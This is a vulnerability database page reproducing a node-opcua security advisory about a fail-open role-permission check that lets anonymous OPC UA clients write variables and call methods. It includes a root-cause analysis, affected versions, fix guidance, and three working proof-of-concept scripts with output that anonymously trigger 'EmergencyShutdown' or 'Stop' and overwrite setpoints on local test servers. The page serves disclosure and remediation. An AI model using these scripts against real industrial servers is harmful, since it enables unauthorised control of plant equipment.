node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
Severity and exploitation
KEV coverage does not rule out exploitation.
Assessment vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NAssessment vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NSeverity
critical9.1CVSS measures technical severity, not the likelihood of an attack.
Known exploitation
Not listed in the checked CISA KEV catalog
Absence from CISA KEV does not rule out attacks.
Public exploit
Exploit reference published
Source-linked evidence; not proof of attacks in the wild or independent validation.
Remediation
Package fixes recorded
Fix versions are recorded for 3 of 3 mapped packages. Check each release branch and any separate product guidance.
What this means
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
Source excerpt · OSVAttack conditions
It requires that someone declared a namespace default. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied." ```js
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
Excerpt from the original source description below.
Review supporting sources →Affected versions
Check the exact model, release, and any platform requirements against your installation.
node-opcua · GitHub_M
node-opcua
1 range
node-opcua · GitHub_M
node-opcua
Compare with this publisher’s ranges. This does not inspect your installation.
affected
>= 2.42.0, < 2.180.0
Other versions: unknown
Packages
Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.
| Affected range | Recorded fix |
|---|---|
| From 2.42.0 before 2.180.0Semantic versions | 2.180.0 |
Version evidence: OSV · GHSA-xggf-m53x-jc3f
View original version evidence (0 explicit versions)
| Affected range | Recorded fix |
|---|---|
| From 2.42.0 before 2.180.0Semantic versions | 2.180.0 |
Version evidence: OSV · GHSA-xggf-m53x-jc3f
View original version evidence (0 explicit versions)
| Affected range | Recorded fix |
|---|---|
| From 2.42.0 before 2.180.0Semantic versions | 2.180.0 |
Version evidence: OSV · GHSA-xggf-m53x-jc3f
View original version evidence (0 explicit versions)
What to do
Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.
Use the recorded fix for your release branch. Review the publisher’s instructions and test compatibility before upgrading.
cve.new guidance unless attributed to a publisher. This page does not inspect your installation.
Public exploit evidence
The sources identify public exploit references. We have not independently tested them; their availability does not establish exploitation in the wild.
node-opcua/node-opcua · security/advisories/GHSA-xggf-m53x-jc3f ↗Attributed to CISA-ADPOriginal source description
Read the full publisher description
Summary
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.
The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.
Affected configuration
This advisory covers two cases that are not equally severe:
- No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
- A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.
Root Cause Analysis
Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)
File: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."
Bug 2 - The namespace default resolves to null on the enforcement path
The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:
- NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a
Value(null). - Programmatically-created namespaces have no
NamespaceMetadatanode underServer/Namespaces, so the lookup returnsnull.
Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
Note: the loaded value is already
nullin stock nodesets, so this reset only changes the value'sdataTypetag; it is not the sole cause, the namespace default isnullregardless.
Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).
Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).
Measured: with
setDefaultRolePermissions([Operator])applied,namespace.getDefaultRolePermissions()returns the policy whilegetApplicableRolePermissions()returnsnull.
Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.
Steps to Reproduce
PoC-A - Address-space level (unit test, no network)
Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Output:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B - End-to-end over TCP (programmatic namespace)
Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Vulnerable output (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Control output (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
Output:
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
Impact
- Write arbitrary values to Variables (
CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - Call bound Methods. Methods have no AccessLevel second gate;
executabledefaults totruefor bound methods (ua_method_impl.ts). - Affects every Node relying on the namespace
DefaultRolePermissionsinheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives every
PermissionFlagbecausenullresolves toallPermissions. - Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored
A:Nas deployment-specific.
What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit per-node
RolePermissions(correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls both
setDefaultRolePermissions()andsetNamespaceMetaData()(PoC-B--safe). - Variables without
CurrentWritein AccessLevel (the Call vector still applies to Methods).
Proposed Fix
- Fail-closed -
getPermissionForRole(null)should returnPermissionFlag.None, notallPermissions(per §4.8.3 default-deny). - Coherent path -
getApplicableRolePermissions()should usenode.getRolePermissions(inherited=true), which already reads the namespace field correctly. - API safety -
setDefaultRolePermissions()should take effect on enforcement directly, without requiringsetNamespaceMetaData()(which throws on nodeset-loaded namespaces). - Hardening -
server_engine.ts:947-957should not unconditionally resetDefaultRolePermissions.
Spec Reference (verified verbatim against the official OPC Foundation reference)
- OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns
Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3 - OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of
DefaultRolePermissionsProperty from theNamespaceMetadataObject associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add theDefaultRolePermissionsProperty to theNamespaceMetadataObject for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9 - OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines
DefaultRolePermissions/DefaultUserRolePermissionsas Properties of theNamespaceMetadataObject). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
References
6 sourcesInside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-95860View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Contributing organizations · 2
Assigning organization
Additional data publisher
Timeline
All times UTCAdvisory published
Publication date supplied by the source.
Source updated
Latest modification date supplied by the source.
Last imported by cve.new
Latest catalog import, not the date we first saw this advisory.
What changed
Follow changes- CVE · CVE-2026-95860
Observed 2026-11-07T03:44:44.816Z · upstream updated 2026-11-07T03:30:26.343Z
Prioritization updated
before
[]
after
[ { "source": "CISA-ADP", "type": "SSVC", "role": "CISA Coordinator", "timestamp": "2026-11-07T03:29:59.942958Z", "decisions": [ { "name": "Exploitation", "value": "poc" }, { "name": "Automatable", "value": "yes" }, { "name": "Technical Impact", "value": "total" } ] } ]
Large field values are marked as truncated previews. Original source snapshots remain retained.
Showing up to 50 most recent observed changes.